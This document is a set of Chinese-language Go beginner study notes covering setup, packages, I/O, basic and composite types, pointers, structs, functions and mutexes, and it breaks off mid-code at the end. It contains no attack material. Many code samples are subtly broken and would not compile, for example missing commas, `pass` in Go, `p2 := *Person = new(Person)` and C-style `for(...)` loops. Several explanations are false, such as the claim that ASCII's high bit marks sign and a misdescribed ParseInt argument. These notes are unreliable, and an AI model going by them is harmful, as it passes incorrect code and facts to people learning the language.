        export GOPATH=/users/golangProjects						// 自己创建的路径
        export GOBIN=/users/golangProjects/bin					// 自己创建路径下的bin目录
    
    
    go version													// 显示go的版本
    
    cd $GOPATH 													// 快速进入主文件夹
    cd src/
    ls 															// 查看当前文件夹
    mkdir crm 													// 创建project
    touch app.go 												// 创建.go文件
    pwd															// 查看当前路线
    vim app.go													// 打开app.go文件
        package main 
        import "fmt" 
        func main(){											// 创建函数
            fmt.Println("holle world!")							// 调用fmt的println函数
        } 
    go run app.go 												// 运行程序
     
    // 编译分为三种 
    go build													// 编译
    ./crm 														// 执行程序文件
    go build -o xx												// 可编译时修改文件名
    // 本质是先执行go build 后保存在一个零时文件夹中,然后执行。 
    2.go install、go run   										// 2&3一样都是先执行go build后,再把文件保存在相应文件中。
  1. Windows环境搭建
1. 下载go编译器去官网下,安装编译器后选好目录并创建(注意那三个文件夹也需要创建)。设置环境变量
    
            PATH=c:/GO/bin;
    GOROOT=c:/GO
    GOPATH=e:/project/go
    GOBIN=e:/project/go/bin
    

2. 开发工具:Goland,IDE(集成开发环境)
  1. 初识包管理
1. 一个文件夹可以称为一个包,在文件夹中可以创建多个文件。在同一个包下的每个为文件中必须指定相同包名称。包分为程序包和模块包:

  1. 程序包的`package`是`main`,程序是需要主程序运行的,所以main就需要一个主函数,这个函数只能有一个。
        
                    package main	//主包名
        func main(){	//程序主函数入口
        }
        // 程序包中可以创建子包,子包的name与子包的package name相同。同目录下创建的文件可认为是子文件夹的仓库。
        // 主程序调用同级目录下的文件函数时,可直接写函数名加括号,无需写文件名或路径。
        // 主程序调用子级目录下的文件函数时,需要在`import`中写入`程序名/子包名`才可调用函数,package名加函数名加括号。
        package main
        import(
            "luggy/api"
        )
        // 函数名首字母大写称为公共函数,其他文件可以调用。函数首字母小写称为私有函数,只能在自文件中使用。
        

  2. 模块包中的`package`是除main之外,都可以使用并且无需写main函数指定程序入口。

2. 导入包时如果包名太长可以使用别名来调用,使用空格区分开如:
    
            import(
    	a "luggy/api"
    )
    

3. 在执行main函数之前会自动执行一个“init”的函数,这个函数不需要调用。
    
            // go中调用一个包后如果不用它是不会初始化编译的,但是又一种情况需要执行包中的init函数就可以在前面加一个下划线
    package main
    import(
    	_ "luggy/api"
    )
    
    package api
    func init(){
       	var a int = 1
    }
  1. 输出和输入
1. 输入分为自带和模块,自带有两钟print和println。模块也是go自带的模块“fmt”,其中有三种输出:print、println、printf。
    
            package main
    
    import"fmt"
    func main(){
        Print("baba")		//print不带换行
        Println("baba")		//println带换行
        fmt.Print("baba")		//print不带换行
        fmt.Println("baba")		//println带换行
        //printf是格式化输出,其中占位符有%s字符、%d数字、%f是小数、%.2f是保留两位小数并四舍五入。
        fmt.Printf("I'm your %s","dad")
    }
    

2. 输入是计算机与人交互,输入由三种:Scan、Scanln、Scanf,这三种都返回两个值,count,err。Scan是要求输入两个或多个时,必须输入相对应的数据,不然会一直等待,每个值用空格分割;Scanln是不管输入几个,只要回车就结束输入状态;Scanf是格式化输入,按照指定的字符串输入并提取数据,在要提取的数据后面加上空格才可以。
    
            package main
    
    import"fmt"
    
    func main(){
    	var name,age string
    	fmt.Println("aaa")
        //count,err := fmt.Scan(&name,&age)
        //count,err := fmt.Scanln(&name,&age)
        count,err := fmt.Scanf("我是你%s,今年%s"&name,&age)
    	fmt.Println(name,count,age)
    }
    
    // 这三种输入都有一个问题,不能还有空格。因此有一种方式解决。
    package main
    import (
    	"bufio"
        "os"
    	"fmt"
    )
    func main(){
        /*	
        	os.Stdin是正则输入,可以将输入的存储起来。
        	bufio.NewReader()是将输入的转为reader对象。
        	reader.ReadLine()是读取并返回三个参数。
        	isprefix=false是一次性读完
    	  	isprefix=True是未读完
        */
        reader:= bufio.NewReader(os.Stdin)	
        Line,isprefix,err := reader.ReadLine()	
        data:=string(Line)	
        fmt.Println(isprefix,data,err)
    }
    

3. 注释:单行注释用`//`,而多行注释用`/**/`。

4. 字符串格式化
    
            package main
    import "fmt"
    func main(){
        var a,b string
        fmt.Scan(&a,&b)
        fmt.Printf("我是你%s,永远都是你的%s",a,b)    
    }
  1. 初识数据类型:整型(int),整型是由10个基数组成的,可以进行运算;字符串(string),双引号引起来的字符、数字、符号都称为字符串,字符串之间可以相加;布尔型(bool),布尔型有两个状态truefalse,计算机中只有真和假。

  2. 变量是由字母、数字、下划线组成,不能以数字开头,不能使用关键字。起名时建议使用:见名知意、驼峰式。常量是保持不变的量,在局部和全局都可以使用,通过const定义并赋值。

    //变量分为定义和赋值,定义时不赋初值默认是int型默认值是0、string默认值是“”、bool默认值是false
    var age int //定义未赋初值,默认是0
    var name string = “123” //定义并赋值
    age = 12 //赋值

// 变量简写
var name="alex"
name := "alex"
var name,age,data string
var(	//这种称为因式分解
	name="alex"
    age="18"
    num int
)

package main
main(){
    const data = 999
    const(
    	pi=123
        gender="boy"
    )
}
  1. 作用域程序层次化,以大括号区分、上级不能使用子级变量,上级可以使用同级变量,下级可以使用上级变量。全局变量是在入口外,不可以使用:=定义变量。a=“1234”,b=a时b会复制a,而并不会指向同一个内存地址,在变量前加上&可以查看内存地址,当赋值时内存位置不变,但只会变。注意:使用int、string、bool这三种数据类型时,如果遇到变量的赋值则会拷贝一份(赋值型)。

  2. iota可以在因式分解中使用,用来给多个常量或者变量赋连续的值,iota的作用是在需要定义连续值的时候使用。

    package main

main(){
    //会自动给后面的变量赋值,值是连续的
    const(
        v1 = iota   //0
        v2			//1
        v3			//2
	)
    
}
  1. 编码:ascii以8位表示,最高位用于表示正负。Unicode分为ucs2(16位表示)和ucs4(32位表示)。utf-8是Unicode的压缩,以码位范围选择模板。

  2. 内置函数,不用调用就可以使用的函数。

    close // 主要用来关闭channel
    len // 计算长度
    new // 用于分配内存,主要用来分配值类型,返回指针
    make // 用于分配内存,主要用来分配引用类型。
    append // 用来追加元素到数组
    panic and recover // 用来做错误处理

  3. 复合语句

    // if语句可以用于单分支、双分支和多分枝。
    package main
    import “fmt”
    func main(){
    var number int
    fmt.Println(“请输入数字”)
    fmt.Scanln(&number)
    if number >0{
    fmt.Println(“你输入的数字是个正数”)
    }else if number <0{
    fmt.Println(“你输入的数字是个负数”)
    }else{
    fmt.Println(“你输入的是0”)
    }
    }

// switch也是多分支,使用表达式的结果,再于条件比较。
package main
import "fmt"
func main(){
    var number int
    fmt.Println("请输入数字")
    fmt.Scanln(&number)
    switch true{
    case number==1:
        fmt.Print("a")
    case number==2:
        fmt.Print("b")
    default:	//所有条件不满足时触发。
        fmt.Print("c")
    }
}

// for循环,循环是将一段代码重复执行,for循环默认是true。
for(){	//不加条件会一直循环
    // 循环体
}

for(表达式1,表达式2,表达式3){	//表达式1只有在第一次循环时执行,表达式2时条件,表达式3是每次循环都会执行。
    // 循环体
}
// continue是结束本次循环执行下次循环,break是结束循环。

// goto语句,跳跃是指从一个地方跳到一个地方。
package main
import "fmt"
func main(){
    fmt.Println("a")
    goto A		//A的跳跃点
    fmt.Println("b")
    A:			//A的降落点
    fmt.Println("c") 
}
  1. 运算符
1. 算数运算符:*、/、%、+、-、++、–
2. 关系运算符:、!=、<、>、<、>==
3. 逻辑运算:&&、||、!
4. 位运算:&(与)、|(或)、(异或)、<<(左移)、>>(右移)、&(以前面的位基准,让前后的值比较,如果都是1,则将前面的值是1的改为0.)
5. 赋值运算符:=、+=、-=、/=、%=、<<=、>>=、&=、^=、|=
6. 运算符优先级:位运算高于算数运算高于关系运算高于逻辑运算。
  1. 数据类型
1. 整型

  1. go 中的整型分为有符号和无符号,有符号包含负号。有符号整型分为int8、int16、int32、int64,计算方式是2的几次方。32位操作系统下是2的32次方,正负各占一半。无符号整型相同64位操作系统下2的64次方个,正号全占。
        
                    package main
        import (
        	"fmt"
            "reflect"
            "strconv"
        )
        func main(){
            //1.整型之间的转换
            var v1 int8 =12
            var v2 int16 =23
            v3 :=int16(v1)+v2	//这样可以将其直接转换
            fmt.Println(v3)
            //2.整型与字符串之间的转换
            result:=strconv.Itoa(16)	//将整型转为字符串
            fmt.Println(result,reflect.TypeOf(result))	//typeof是查看数据类型
            result1,err:=strconv.Atoi("234")	//将字符串转为整型,如果是无法转换的字符err会告诉你的。
            fmt.Println(result1,reflect.TypeOf(result1),err)	//typeof是查看数据类型
        }
        
        // 进制之间的转换
        package main
        import(
        	"strconv"
            "fmt"
        )
        func main(){
            //只有十进制是整型形式存在的,其他都是字符形式存在。
            v1:=strconv.FormatInt(int64(64),16)	//十进制转其他进制
            fmt.Println(v1)
            //第一个参数是数据,第二个参数是数据的进制,第三个参数是要转成的进制
            result,err:=strconv.ParseInt("123D",16,0)
            fmt.Println(result,err)
            
        }
        
        // 常见的数学运算
        package main
        import"math"
        func main(){
            math.Abs(v1)	//取绝对值
            math.Floor(v1)//取最小整数
            math.Ceil(v1)	//取最大整数
            math.Round(v1)//四舍五入
            math.Mod(v1,v2)	//取余数
            math.Pow(v1,v2)	//计算次方
            math.Pow10(v2)	//计算10的几次方	
            math.Max(v1,v2)	//取最大值
            math.Min(v1,v2)	//取最小值
        }
        

  2. 指针是用来存储内存地址的,主要用于节省内存空间;有两钟定义方式

     * var 变量 * int; //这种创建后默认值是“nil”,它们所存储的内存地址相同
     * 变量:=new(int) //这种创建后默认值是“0”,它们会创建后并指向那块内存地址。
     * nil代表的是空,new用于创建内存并进行内部数据的初始化,而且返回一个指针类型。
  3. 超大整型,使用超大整型需要导入“math/big”模块,用big.int来定义。
        
                    import "math/big"
        
        func main(){
            var v1 := new(big.Int)	//也可以创建指针形式的超大整型 
            var v2 big.Int	//定义超大整型
            v2.SetInt64(12)		//通过int64来赋值,最大不能超过2的64次方。
            v2.SetSrting("2222",10)		//通过字符串的形式来赋值的,并不受大小限制。第一个参数是数据,第二个参数是进制。
            v3:=big.NewInt(21)	//newint可以完成定义并赋值。
        }
        
        // 超大整型的基本加减乘除
        v1 := big.NewInt(11)
        v2 := big.NewInt(21)
        result := new(big.Int)
        
        //加
        result.Add(v1,v2)
        //减
        result.Sub(v1,v2)
        //乘
        result.Mul(v1,v2)
        //除
        result.Div(v1,v2)
        //除,得商和余
        miner := new(big.Int)	//存余
        result.DivMod(v1,v2,mider)	//存商
        
        var r1 big.Int
        r1.Add(&v1,&v2)		//如果需要将其转换为指针类型,也可以使用变量前面加&的方式来实现。 
        

2. 浮点数

  1. go自带

    1. 浮点数,在go中分为Float32(4个字节)和Float64(8个字节)。
            
                            package main
            import"fmt"
            func main(){
                var v1 float32	//定义浮点型
                var v2 float32
                v1=0.1
                v2=0.2
                fmt.Println(v1+v2)
            }
            

    2. float底层存储原理

      1. 先将浮点型数据转换位二进制,整数/2,小数*2。

      2. 科学计数法表示,就是首位为1,剩下的均为小数,用2的n次方来实现。  

101001.100010110 ∗ 2 5 = 1.01001100010110
101001.100010110*2^5=1.01001100010110 101001.100010110∗25=1.01001100010110

      3. 存储:以float32为例存储浮点型数据,32位会分为sign、exponent、fraction

         * sign,占最高位的1位字节来表示正负、0表示正数、1表示负数。
         * exponent,除最高一位占8位,共有256种但是正负(-127~128)。存储2的几次方数
         * fraction,存储所有小数数据。
         * float64:sign=1\exponent=11\fraction=52
  2. 第三方库

    1. decimal需要在本地的Go环境中先安装再使用。第三方包源码地址:https://github.com/shopspring/decimal。

    2. 安装第三方包
            
                            go get github.com/shopspring/decimal

命令执行完成,在$GOPATH/src的目录下就会出现github/shopspring/decimal的目录,这就是第三方模块安排的位置。

    3. 使用decimal包
            
                            package main
            import(
            	"fmt"
                "github.com/shopspring/decimal"
            )
            func main(){
                var v1 = decimal.NewFromFloat(0.000002)
                var v1 = decimal.NewFromFloat(0.00422)
                //加
                var v3 = v1.Add(v2)
                //减
                var v3 = v1.Sub(v2)
                //乘
                var v3 = v1.Mul(v2)
                //除
                var v3 = v1.Div(v2)
                fmt.Println(v3,v4,v5,v6)
                
                var price = decimal.NewFromFloat(2.345)
                var data1 = price.Round(1)	//四舍五入,保留一位小数
                var data2 = price.Truncate(1)//保留一位小数
                fmt.Println(data1,data2)
                
                
            }
            

3. 布尔类型,表示真假,一般是和条件等配合使用,用于满足某个条件时,执行每个操作。
    
            package main
    
    import(
    	"fmt"
        "strconv"
    )
    func main(){
        //字符串转布尔值
        //true:"1","t","T","true","TRUE","True"
        //false:"0","f","F","false","FALSE","False"
        v1,err := strconv.ParseBool("t")
        fmt.Println(v1,err)
        
        //布尔值转字符串
        v2 := strconv.FormatBool(false)
        fmt.Println(v2)
    }
    

4. 字符串

  1. 在编写程序时,使用字符串来进行文本处理的。
        
                    var name string = "李永强"
        fmt.Println(name[0])	//这种索引得到的是一个字节
        fmt.Println(len(name))	//这样可以查看里面有几个字节
        //字符串转为一个字节集合
        byteSet := []byte(name)	//转为字节集合
        fmt.Println(byteSet)	//有九个字节
        //字节集合转为一个字符串
        byteList := []byte{230,173,166,230,178,155,233,189,144}
        targetString := string(byteList)
        fmt.Println(targetString)
        //rune 将字符串转为Unicode字符集码点的集合
        tempSet := []rune(name)
        fmt.Println(tempSet)
        
        //rune转换为字符串
        runeList := []rune{27494,27803,40784}
        targetName := string(runeList)
        fmt.Println(targetName)
        
        //长度处理
        runeLength := utf8.RuneCountInString(name)
        fmt.Println(runeLength)	//处理后长度就变成了3
        

  2. 常用功能
        
                    package main
        
        import (
        	"fmt"
            "strings"
            "unicode/utf8"
        )
        func main(){
            var name string = "liyongqiang"
            fmt.Println(len(name))						// 获取字节长度
            fmt.Println(utf8.RuneCountInString(name))	// 获取字符长度
            
            fmt.Println(strings.HasPrefix(name,"li"))	// 是否以什么字符串开头,输出逻辑值		
            fmt.Println(strings.HasSuffix(name,"qiang"))// 是否以什么字符串结尾
            strings.Index(s string, str string) int		// 判断某字符首次存在位置并返回,不存在则返回-1
            strings.LastIndex(s string, str string) int	// 判断某字符最后存在位置并返回,不存在则返回-1
            fmt.Println(strings.Contains(name,"yong"))	// 判断爸爸是否在里面
            fmt.Println(strings.ToUpper(name))			// 将传入的字符串转为大写
            fmt.Println(strings.ToLower(name))			// 将传入的字符串转为小写
            fmt.Println(strings.Count(name,"a"))		// 判断一个字符串中出现某个字符的次数
        	fmt.Println(strings.Repeat(name,4))			// 将一个字符串重复4次
            fmt.Println(strings.TrimRight(name,"qiang"))// 从右边清理匹配的开头字母
            fmt.Println(strings.TrimLeft(name,"li"))	// 从左边清理匹配的开头字母
            fmt.Println(strings.Trim(name,"l"))			// 从两边清理匹配的开头字母
            // 第一个参数是数据,第二个参数是要替换的,第三个是替换成的,第四个是替换几个(-1代表全部)
            fmt.Println(strings.Replace(name,"e","i",-1))
            fmt.Println(strings.Split(name,"a"))		// 按指定字符分割字符串
            fmt.Println(strings.TrimSpace(name))		// 去除字符串首尾空白字符
            fmt.Println(strings.Fields(name)[0])		// 按空格分割返回切片
        }
        

  3. 拼接
        
                    package main
        
        import(
        	"bytes"
            "fmt"
            "strings"
        )
        
        func main(){
            //不建议
            message := "aa"+"bb"
            fmt.Print(message)
            
            //建议
            dataList:= []string{"aa","bb"}
            result := strings.Join(dataList,"_")
            fmt.Println(result)
            
            //建议(1.10之前)
            var buffer bytes.Buffer
            buffer.WriteString("aa")
            buffer.WriteString("bb")
            data := buffer.String()
            fmt.Println(data)
            
            //建议(1.10之后)
            var builder strings.Builder
            builder.WriteSering("aa")
            builder.WriteSering("bb")
            value := builder.String()
            fmt.Println(value)
        }
        

  4. string和int互转
        
                    package main
        
        import (
        	"fmt"
            "strconv"
        )
        func main(){
            num := "666"
            var result = strconv.Itoa(888)	//转为string
            fmt.Println(result)
            //内部调用的就是ParseInt
            var data,_ = strconv.Atoi(num)	//转为int
            fmt.Println(data)
           
        }
        

  5. 字符串与字节集合和rune集合
        
                    package main
        import (
            "fmt"
            "strconv"
           	"unicode/utf8"
        )
        func main(){
            var name string ="李永强"
            //字符串转字节集合
            byteSet := []byte(name)
            fmt.Println(byteSet)
            //字节集合转字符串
            byteList := []byte{230,173,166,230,178,155,233,189,144})
            targetString := string(byteList)
            fmt.Println(targetString)
            //rune 将字符串转为Unicode字符集码点的集合
            tempSet := []rune(name)
            fmt.Println(tempSet)
        
            //rune转换为字符串
            runeList := []rune{27494,27803,40784}
            targetName := string(runeList)
            fmt.Println(targetName)
            
        }
        

  6. string和字符
        
                    package main
        
        import(
        	"fmt"
            "unicode/utf8"
        )
        func main(){
            //数字转字符串
            v1 := string(65)
            fmt.Println(v1)
            //字符串转数字
            v2,size := utf8.DecodeRuneInString("A")
            fmt.Println(v2,size)
            
        }
        

  7. 索引切片,只能操作字符串,其他类型不可以的
        
                    package main
        import "fmt"
        func main(){
            var name string = "李永强"
            //1.索引获取字节
            v1 := name[0]
            fmt.Println(v1)
            //2.切片获取字节区间
            v2 := name[0:3]
            fmt.Println(v2)
            //3.手动循环获取所有字节
            for i:=0;i<len(anme); i++{
                fmt.Println(i,name[i])
            }
            //4.for range循环获取所有字节
            for index,item := range name{
                fmt.Println(index,item)
            }
            //5.转成rune集合
            dataList := []rune(name)
            fmt.Println(dataList[0],string(dataList[0]))
        }
        

  8. 时间日期类型,时间类型需要导入
        
                    package main
        import (
        	"fmt"
            "time"
        )
        func main(){
            fmt.Println(time.Now())				// 获取当前时间
            fmt.Println(time.Now().Day())		// 获取当前时间的天
            fmt.Println(time.Now().Minute())	// 获取当前时间的分钟
            fmt.Println(time.Now().Month())		// 获取当前时间的月
            fmt.Println(time.Now().Year())		// 获取当前时间的年
            // 格式化,必须使用这个时间不然显示不出来
            now := time.Now()
            fmt.Println(now.Format("02/1/2006 15:04"))
            fmt.Println(now.Format("2006/1/02 15:04"))
            fmt.Println(now.Format("2006/1/02"))
        
        }
        

5. 数组

  1. 数组是由定长且元素类型一致的数据集合。
        
                    //方式一:先声明再赋值(声明时内存中已开辟空间,内存初始化的值是0)
        var number [3]int
        number[1] =34
        //方式二:声明并赋值
        var names = [2] string{"李永强","吴佩琦"}
        //方式三:声明并赋值加指定位置
        var ages = [3]int{0:23,1:34,2:12}
        //方式四:省略个数
        var name = []string{"吴佩琦","李永强"}
        //声明指针型的数组,不会开辟内存初始值数组的值是nil
        var number*[3]int
        //声明数组并初始化,返回的是指针类型数组
        number := new([2]int)
        

  2. 数组不仅有一维数组还有,二维和多维
        
                    package main
        func main(){
            name :=[][2]string{"aa","bb","cc"}
            name :=[2][2]string{"aa","bb","cc"}  
        }
        

  3. 数组的内存地址是连续的,数组的内存地址实际上就是第一个元素的内存地址,每个字符串的内部存储:len+str。
        
                    type stringStruct struct {
            str unsafe.Pointer
            len int
        }
        

  4. 可变和拷贝

    1. 可变,是指数组的大小不变而值可变。
    2. 将一个变量赋予另一个变量时会复制一份的
  5. 索引切片循环
        
                    package main
        import "fmt"
        func main(){
            //1.长度
            name := [2]string{"aa","bb"}
            fmt.Println(len(name))
            //2.切片
            name := [2]string{"aa","bb","cc"}
            v2 := name[0:1]
            fmt.Println(v2)
            //3.循环
            name := [2]string{"aa","bb","cc"}
            for i:=0;i<len(name); i++{
                fmt.Println(i,name[i])
            }
            //4.for range循环
            name := [2]string{"aa","bb","cc"}
            for index,item := range name{
                fmt.Println(index,item)
            }
        }
        

  6. 给数组排序和查找
        
                    package main
        
        import (
        	"fmt"
            "sort"
        
        )
        func main(){
            var a = [...]int{1,6,3,5,7,2}
            sort.Ints(a[:])					// 使用Ints时需要传入一个切片才可以,直接将数组传入是不可以的。字符串排序也一样,使用Strings就可以。
            index := sort.SearchInts(a[:],5)// 查找返回的是排序后的位置,你不管排不排序,它内部自动会排的。
            fmt.Println(index)
            
            
        }
        

6. 切片

  1. 切片也被称为动态数组,切片是Go中重要的数据类型,每个切片对象内部都维护着:数组指针、切片长度、切片容量三个数据。

  2. 在向切片中追加的数据个数大于容量时,内部会自动扩容且每次扩容都是当前容量的2倍(当容量超过1024时每次扩容则指增加4分之一的容量)。

  3. 创建切片
        
                    //创建切片
        var nums []int
        
        var data = []int{11,22,33}
        //make只用于 切片、字典、channel
        //第二个参数是初始化个数,第三个参数是声明个数
        var users = make([]int,1,3)
        //创建切片(指针型)
        var v1 =new([]int)	//只声明并不初始化
        
        var v2*[]int	//声明后,初始化指向nil
        
        

  4. 自动扩容
        
                    package main
        import "fmt"
        func main(){
            v1 := make([]int,1,2)
            fmt.Println(len(v1),cap(v1))
            v2 := append(v1,66)			
            //v1和v2地址相同但是,因取值范围的限制v1只能取到【0】的值,v2可以取到【0:1】的值。
            v3 := append(v2,77)
            //当扩容时,地址会发生变化,v2和v3的地址就不同,给v3修改时,v2中的值并不变化。
            
            
        }
1.常用功能
  1. 长度和容量
        
                    v1 :=[]int{11,22,33}
        fmt.Println(len(v1),cap(v1))
        

  2. 索引和切片
        
                    v1 :=[]int{11,22,33}
        v1[0]//注意虽然定义了,但是没有初始化或赋值的,也不可以索引
        v1[1]
        v1[2]
        v2 :=v1[0:1]
        v3 :=v1[:2]
        v4 :=v1[1:]
        

  3. 追加和删除
        
                    package main
        import "fmt"
        func main(){
            v1 :=[]int{11,22,33,44,55,66}
            v2 :=append(v1,77)
            v3 :=append(v1,88,99)
            //使用另一个切片时,需要在后面加上三个点才可以使用
            v4 :=append(v1,[]int{100,200,300}...)
            //go本身并没有删除,我们可以使用修改来实现
            //它们本身还是同一个地址,使用v1输出时就会发现,最后一个值出现了两边。
            deleteNum :=2
            v5 :=append(v4[:deleteNum],v4[deleteNum+1:]...)
            
        }
        

  4. 循环
        
                    package main
        import "fmt"
        
        func main(){
            v1 :=[]int{11,22,33,44,55,66}
            for i := 0;i<len(v1);i++{
                fmt.Println(i,v1[i])
            }
            for index,value := range v1{
                fmt.Println(index,value)
            }
        }
        

7. 字典类型(Map)

  1. map是以“键:值”形式存储的数据类型,这种存储方式最大的有点就是查询速度快,由应为他底层是基于哈希表存储的。
  2. 以`取模+拉链法`大概了解一下。 
    1. 写好键值对后将键转为哈希值,再将哈希值 mod 4 后将结果按顺序存储(重复时并形存储)。
  3. Map的特点是键不可以重复、键必须是可哈希的(int/bool/float/string/array)、Map是无序的。
1.声明和初始化
  1. Map的键值对增加、修改使用的都是“变量[键]=值”,map不管扩不扩容,它们的内存地址永远相同。
        
                    //声明,声明时记得把大括号带上
        UserInfo := map[string]string{}
        
        //声明并初始化
        UserInfo := map[string]string{"name":"李永强","age":"18"}
        
        //查看
        fmt.Println(UserInfo["name"])
        for key,value := range data{
            fmt.Println(key,value)
        }
        
        //当map中没有此键值对时是增加,有时是修改
        UserInfo["age"]=19
        UserInfo["gender"]="男"
        //删除,参数一是map,参数二是键
        delete(UserInfo,"gender")
        
        //使用make,make定义时可以不加大括号
        data :=make(map[string]int)
        data["a1"]=1
        data["a2"]=2
        
        //new,不能直接使用只能用于map转存,定义不使用new也不加大括号的用法相同。
        value := new(map[string]int)
        value = &UserInfo
        
        //数组做键值对
        v1 := make(map[2]int)int)
        v1[[2]int{1,2}]=2
        v1[[2]int{1,4}]=2
        
        ...  //代表任意类型
        //map嵌套就那么个,简单的很
2.原理解析
  1. map创建后,每个键值对会有count计数并创建桶(2**B),每个桶中可存放8个(tophash哈希值、keys、values、overflow指针)。
  2. 初始化 
    1. 创建一个hmap结构体对象,生成一个哈希因子hash0并赋值到hmap对象中(用于后续为key创建哈希值)。
    2. 根据hint=10,并根据算法规则来创建B,根据B去创建桶(bmap对象)并存放在buckets数组中。 
       * 当B小于4时,2^B(标准桶)
       * 当B大于4时,2B+2(B-4)(标准桶+溢出桶)
       * 注意:每个bmap中可以存储8个键值对,当不够存储时需要使用溢出桶,并将当前bmap中的overflow字节指向溢出桶的位置。
8. 指针

  1. 指针相当于创建了一个地址的引用,以后根据这个引用再去获取他里面的值。

  2. 取指针的指针时,需要设置好相应的*才可以。
        
                    name := "wupeiqi"
        var a1 *string = &name
        var a2 **string = &a1
        var a3 ***string = &a2
        //一定要把*号写够,*号代表指针的引用层数,如果只写了一个*就代表直接储存name的内存地址,而写够后a3储存a2的内存地址。
        

  3. 计算指针
        
                    package main
        
        import (
        	"fmt"
            "unsafe"
        )
        func main(){
            dataList := [3]int8{11,22,33}
            //1.获取数组第一个元素的地址(指针)
            var firstDataPtr *int8 = &dataList[0]
            //2.转换成Pointer类型
            ptr := unsafe.Pointer(firstDataPtr)
            //3.转换成uintptr类型,然后进行内存地址的计算
            targetAddress :=uintptr(ptr)+1
            //4.根据新地址,重新转成Pointer类型
            newPtr := unsafe.Pointer(targetAddress)
            //5.Pointer对象转换为int8指针类型
            value :=(*int8)(newPtr)
            //6.根据指针获取值
            fmt.Println("最终结果为",*value)
        }
        

9. 结构体

  1. 结构体时一个复合类型,用于表示一组数据,结构体有一系列属性组成,每个属性都有自己的里类型和值。

  2. 定义
        
                    type 结构体名称1 struct {
            字段 类型 标签	//标签可加可不加,主要用于提示。
        }
        
        type 结构体名称2 struct {
            字段 类型 标签
            字段 结构体名称1	//这种是结构体嵌套
            结构体名称1		//这种也是结构体嵌套,但是结构体名称1也是结构体名称2中的字段。也称匿名字段
        }
        

  3. 初始化
        
                    //可以按位置用逗号分割,给赋予不同类型的数据。
        var 结构体对象 = 结构体名称2{"数据",17}
        结构体对象.字段	//这样可以获取对应的值。
        
        //定义一个结构体
        type ageN struct {
            age int
        }
        type genderS struct {
            gender string
        }
        type Person struct {
            name string
            hobby []string
            agen ageN
            genderS
        }
        //方式一:先后顺序
        var p1 = Person{"liyongqiang",[]string{"computer"},ageN{12},genderS{"男"}}
        fmt.Println(p1.name,p1.hobby,p1.agen.age,p1.gender)
        
        //方式二:关键字
        var p2 = Person{name:"liyongqiang",hobby:[]string{"computer"},agen:ageN{age:12},genderS:genderS{gender:"男"}}
        fmt.Println(p2.name,p2.hobby,p2.agen.age,p2.gender,p2.genderS.gender)
        
        //方式三:先声明再赋值
        var p3 Person
        p3.name = "liyongqiang"
        p3.hobby = []string{"computer"}
        p3.agen = ageN{age:12}
        p3.genderS = genderS{gender:"男"}
        p3.gender = "男"
        

  4. 结构体指针
        
                    type  Person struct {
            name string
        }
        //初始化结构体指针
        p1 := &Person{"liyongqiang"}
        
        p2 := *Person = new(Person)
        p2.name = "liyongqiang"
        
        

  5. 标签的查询方式
        
                    package main
        import (
        	"fmt"
            "reflect"
        )
        func main(){
            type Person struct{
                name string "姓名"
                age int32 "年龄"
            }
            p1 := Person{name:"wupeiqi",age:18}
            p1Tyep := reflect.TypeOf(p1)
            //top1
            filed1 := p1Type.Field(0)
            fmt.Println(filed1.Tag)
            //top2
            filed2,_:= p1Type.FieldByName("name")
            fmt.Println(filed2.Tag)
            //循环获取
            fieldNum :=p1Type.NumField()
            for index := 0;index<fieldNum;index++{
                field:=p1Type.Field(index)
                fmt.Pringln(field.Name,field.Tag)
            }
            
        }
        

10. 函数

  1. 函数的基本写法
        
                    func 函数名(参数名 参数类型)返回值类型{
            代码块
            return 返回值
        }
        变量 :=函数名(参数值)
        

  2. 函数做参数
        
                    package main
        
        import "fmt"
        
        func add100(arg int)(int,bool){
            return arg + 100,true
        }
        //这种也可以称为起别名。 
        type f1 func(arg int)(int,bool)
        func proxy(data int,exec func(int) (int,bool)或f1) int{
            data,flag := exec(data)
            if flag {
                return data
            }else{
                return 9999
            }
        }
        func main(){
            fesult := proxy(123,add100)
            fmt.Println(result)
        }
        

  3. 接收多个参数
        
                    package main
        
        import "fmt"
        //可接受多个int类型的参数,
        func do(num...int) int{
            fmt.Println(num)
            return sum
        }
        func main(){
            r1:=do(1,4,5,6)
            fmt.Println(result)
        }
        

  4. 函数做返回值
        
                    package main
        
        import "fmt"
        
        func add100(arg int)(int,bool){
            return arg + 100,true
        }
        
        type f1 func(arg int)(int,bool)
        
        func proxy(data int)  func(int) (int,bool)或f1{
            pass
            return add100
        }
        func main(){
            fesult := proxy(123,add100)
            result := fesult(145)
            fmt.Println(result)
        }
        

  5. 匿名函数
        
                    package main
        import "fmt"
        func F1 () func(int) string{
            return func()string{
                return "baba"
            }
        }
        func main(){
            v1 := func() int {
                return 123
            }
            //自执行
            value := func() int {
                return 123
            }()
        }
        

  6. 闭包
        
                    package main
        
        import "fmt"
        
        func main(){
            var functionList []func()
            
            for i := 0;i<5;i++{
                function := func(arg int)func(){
                    return func(){
                        fmt.Println(arg)
                    }
                }(i)
                functionList = append(functionList,function)
            }
            functionList[0]()
            functionList[1]()
            functionList[2]()
        }
        

  7. defer
        
                    package main
        import "fmt"
        
        func do() int{
            fmt.Print(1)
            //defer的效果是延迟执行,函数执行完之后执行。
            defer fmt.Print(2)
            defer fmt.Print(3)
            fmt.Print(4)
            return 666
        }
        func main(){
            ret:=do()
            fmt.Println(ret)
        }

Type自定义类型,就那么个用法,自己用就行

11. 其他

  1. ##### 1.包

    1. 锁
            
                            package main
            
            import (
            	"fmt"
                "math/rand"
                "sync"
            )
            
            var lock sync.Mutex				// 互斥锁是只有一个可以进入,释放后才可以进入下一个
            var lock1 sync.RWMutex			// 读写锁的读和写是分开的,适合在读多写少的情况使用
            
            func TestMap(){
                var a map[int]int
                a = make(map[int]int,5)
                
                a[8] = 10
                a[6] = 10
                a[5] = 10
                a[3] = 10
                for i := 0; i <2;i++{
                    go func(b map[int]int){
                        lock.Lock()				// 上锁
                        b[8] = rand.Intn(100)
                        lock.Unlock()			//释放锁
                    }(a)
                }
                lock.Lock()						// 只要有读写都需要上锁
                fmt.Println(a)
                lock.Unlock()
            }
            func testRWLock(){
                var a map[int]int
                a = make(map[int]int,5)
                
                a[8] = 10
                a[6] = 10
                a[5] = 10
                a[3] = 10
                for i := 0; i <2;i++{
                    go func(b map[int]int){
                        lock1.Lock()				// 上锁
                        b[8] = rand.Intn(100)
                        lock1.Unlock()				// 释放锁
                    }(a)
                }
                for i := 0; i <100;i++{
                    go func(b map[int]int){
                        lock1.RLock()				// 上锁
                        fmt.Println(a)
                        lock1.RUnlock()				// 释放锁
                    }(a)
                }
            }
            func main(){
